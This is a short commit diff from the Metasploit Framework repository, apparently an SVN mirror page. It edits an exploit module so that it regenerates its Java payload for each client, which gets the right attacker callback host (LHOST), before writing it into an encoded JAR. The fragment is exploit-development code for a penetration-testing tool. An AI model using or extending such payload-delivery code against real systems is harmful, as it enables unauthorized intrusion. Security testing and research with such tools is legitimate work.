regenerate the payload so we get the correct *lhost*
git-svn-id: file:///home/svn/framework3/trunk@10490 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
4fbb0653a1
commit
8c1f0713db
|
@ -85,7 +85,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ "payload.ser" ],
|
||||
]
|
||||
|
||||
jar = payload.encoded_jar
|
||||
p = regenerate_payload(cli)
|
||||
jar = p.encoded_jar
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
|
|
Loading…
Reference in New Issue